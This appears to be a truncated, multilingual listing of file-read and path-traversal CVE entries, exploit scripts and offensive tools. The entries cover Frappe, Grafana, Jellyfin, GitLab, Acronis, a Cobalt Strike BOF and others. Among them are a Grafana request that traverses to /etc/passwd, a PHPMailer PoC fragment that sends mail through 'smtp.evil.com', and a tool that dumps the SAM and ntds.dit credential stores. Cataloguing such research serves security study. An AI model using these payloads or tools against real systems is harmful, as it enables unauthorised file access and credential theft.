Frappe Framework < 16.15.0 - Arbitrary File Read via render_include Path Traversal

Frappe is a full-stack web application framework. Versions prior to 15.105.0 and 16.15.0 contain a possible Arbitrary File Read vulnerability via Path Traversal. The issue is resolved in versions 16.15.0, 15.105.0 and above. id: CVE-2026-39352 info: name: Frappe Framework 16.15.0 - Arbitrary File...

Lightdash version <= 0.510.3 Arbitrary File Read

packages/backend/src/routers in Lightdash before 0.510.3 has insecure file endpoints, e.g., they allow .. directory traversal and do not ensure that an intended file extension .csv or .png is used. id: CVE-2023-35844 info: name: Lightdash version = 0.510.3 Arbitrary File Read author: dwisiswant0...

osTicket - Arbitrary File Read

Enhancesoft osTicket versions 1.18.x prior to 1.18.3 and 1.17.x prior to 1.17.7 contain an arbitrary file read vulnerability in the ticket PDF export functionality. A remote attacker can submit a ticket containing crafted rich-text HTML that includes PHP filter expressions which are insufficientl...

webp_server_go 0.4.0 - Path Traversal

webpservergo 0.4.0 contains a path traversal caused by insufficient sanitization in file handling, letting attackers read arbitrary files on the server, exploit requires attacker to send crafted requests. id: CVE-2021-46104 info: name: webpservergo 0.4.0 - Path Traversal author: pikpikcu severity...

WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR

MapPress Maps for WordPress = 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests id: CVE-2026-8839 info: name:...

Java-springboot-codebase 1.1 - Arbitrary File Read

OsamaTaher/Java-springboot-codebase is a collection of Java and Spring Boot code snippets, applications, and projects. Prior to commit c835c6f7799eacada4c0fc77e0816f250af01ad2, insufficient path traversal mechanisms make absolute path traversal possible. This vulnerability allows unauthorized...

ghostcat

이 도구는 Apache Tomcat의 LFI 취약점인 CVE-2020-1938을 악용하여 민감한 파일을 볼 뿐만 아니라 악성 JSP 페이로드를 실행합니다. 여기에서 다운로드할 수 있습니다 명령줄에서 실행해야 합니다 사용법: ghostcat target HTTP port AJP port file read/eval...

CVE-2021-21402-Jellyfin

CVE-2021-21402-Jellyfin-임의 파일 읽기 이 POC는 학습 및 교류 목적으로만 사용되며, 이로 인해 발생하는 모든 결과에 대해 본인은 책임을 지지 않습니다 python POC.py targets.txt...

CVE-2022-45451

소개 시스템 사양: Windows 10 1809 x64 EN 대상: Acronis Home Cyber Protect Acronis Cyber Protect 취약점 설명 Acronis "ngscan" 안티멀웨어 스캔 드라이버는 필터 통신 포트에 적용된 잘못된/부적절한 액세스 제어로 인해 문제가 발생한다. 미니필터 드라이버는 악용될 수 있는 다음 기능을 지원한다: 임의 파일 읽기 중요한 레지스트리 키 수정악용되지 않음, 트리거 조건 불명으로 인해 로컬 코드 실행이 발생할 수 있음 임의 파일 읽기 ngscan.sys 드라이버 분석은...

TFTPlunder

TFTPlunder: CVE-2023-29930のエクスプロイト これはGenesys（旧InIn）TFTPプロビジョニングサーバーにおけるブラインドファイル読み取り/書き込みの脆弱性のためのエクスプロイトスクリプトです。 脆弱性情報 この脆弱性は、TFTPのルートパスとファイル拡張子に対する構成オプションの制限がないために発生します。言い換えれば、管理インターフェースからTFTPを任意のディレクトリに変更し、好きなファイルをアップロードまたはダウンロードできます。 （ただし、TFTPプロトコルはファイル一覧を許可しないため、これが ブラインド ファイル読み取りの脆弱性となっています...

CVE-2023-22047

Description: CVE-2023-22047은 Oracle PeopleSoft에서 인증 없이 파일을 읽을 수 있는 취약점입니다. 그러나 고급 익스플로잇 공격자는 이 취약점을 사용하여 원격 코드 실행을 수행할 수 있습니다. Peoplesoft 애플리케이션 "Portal.war"의 서블릿 "WSRP Consumer ResourceProxy"는 파일을 읽고 모든 호스트에 요청SSRF을 보낼 수 있는 기능을 제공합니다. 이 취약점을 통해 공격자는 영향을 받는 서버에서 쉽게 원격 코드 실행RCE을 달성할 수 있으며, 이는 실제...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

RawHive

RawHive RawHive는 원시 NTFS 볼륨에서 직접 선택된 Windows 레지스트리 하이브를 가져오는 Cobalt Strike BOF입니다. 일반 파일 API를 건너뛰고 NTFS 메타데이터를 탐색하여 대상 파일 레코드를 찾은 다음 디스크에서 직접 바이트를 복사합니다. 현재 다음을 찾습니다: C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SECURITY C:\Windows\NTDS\ntds.dit 호스트가...

CVE-2026-85706-PoC-Toolkit

CVE‑2026‑85706 – GitLab 未認証ファイル読み取りツールキット 倫理的な使用のみ – 許可されたセキュリティテスト このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスター のみにツールを提供します。 コンピュータシステムへの不正アクセスは、CFAA（米国）、Computer Misuse Act（英国）、TCK 243/244（トルコ）、および世界中の同様の法律 の下で違法です。 脆弱性の概要 CVE‑2026‑85706 は、セルフマネージド GitLab CE/EE （バージョン 18.7 から 19.3.1...

cynative

나만의 보안 에이전트 구축하기 인프라에 대한 실시간 읽기 전용 접근 권한을 갖춘 보안 에이전트용 오픈소스 프레임워크입니다. 빠른 시작 · 내장 에이전트 · 첫 번째 에이전트 · 문서 인프라에 무엇이든 물어보세요. Cynative는 프런티어 모델을 여러분의 코드, 클라우드, 런타임 전반에서 실행하여 GitHub, GitLab, AWS, GCP, Azure, Kubernetes를 하나의 시스템으로 추론하고, 검증된 답변을 제공합니다.bash cynative "what in my cloud is publicly exposed tha...

uc_httpd_exploit

uc httpd exploit lighthttpd py3로 만든 간단한 uc httpd 익스플로잇입니다. 이 익스플로잇은 CVE-2014-2324를 기반으로 작성되었습니다. 설명 lighttpd 1.4.35 이전 버전의 1 modevhost 및 2 modsimplevhost에서 발생하는 다중 디렉터리 트래버설 취약점으로, 원격 공격자가 호스트 이름에 포함된 .. 점 두 개을 통해 임의 파일을 읽을 수 있습니다. 이는 requestcheckhostname과 관련됩니다...

ApacheSkywalking

ApacheSkywalking ApacheSKywalking SQLi 读取敏感文件...

wpgarlic

wpgarlic 거의 3천만 개 사이트에 설치된 WordPress 플러그인에서 300개 이상의 취약점을 발견하게 한 개념 증명proof-of-concept WordPress 플러그인 퍼저입니다. 사용된 기술은 https://kazet.cc/2022/02/03/fuzzing-wordpress-plugins.html 에 설명되어 있습니다. 연구를 계속하고 싶다면 덜 인기 있는 플러그인부터 시작하세요. 만약 플러그인이 2021년 10월과 2024년 1월 사이에 최소 10,000회의 활성 설치를 달성했다면, 제가 이미 퍼저 보고서를...

grafana-unauth-file-read

grafana-unauth-file-read : CVE-2021-43798 Grafana에서 파일 무단 읽기 0day Grafana의 새로운 0day LFI는 grafana-clock-panel 플러그인 덕분에 존재하는 것으로 보입니다. 다음 형식의 GET 요청을 보내는 것만으로 충분합니다: GET /public/plugins/grafana-clock-panel/../../../../../../../etc/passwd 플러그인 목록...

CVE-2019-8389

CVE-2019-8389 - iOS용 Musicloud v1.6의 임의 파일 읽기 CVE-2019-8389 Musicloud v1.6 iOS 애플리케이션의 로컬 파일 읽기 취약점을 악용하는 익스플로잇 코드 설명: Musicloud 1.6의 Wi-Fi 전송 기능에서 파일 읽기 취약점이 발견되었습니다. 기본적으로 애플리케이션은 동일한 Wi-Fi 네트워크에 있는 모든 사람이 접근할 수 있는 포트 8080에서 전송 서비스를 실행합니다. 공격자는 POST 파라미터 downfiles와 cur-folder조작된 ../ 페이로드 포함를...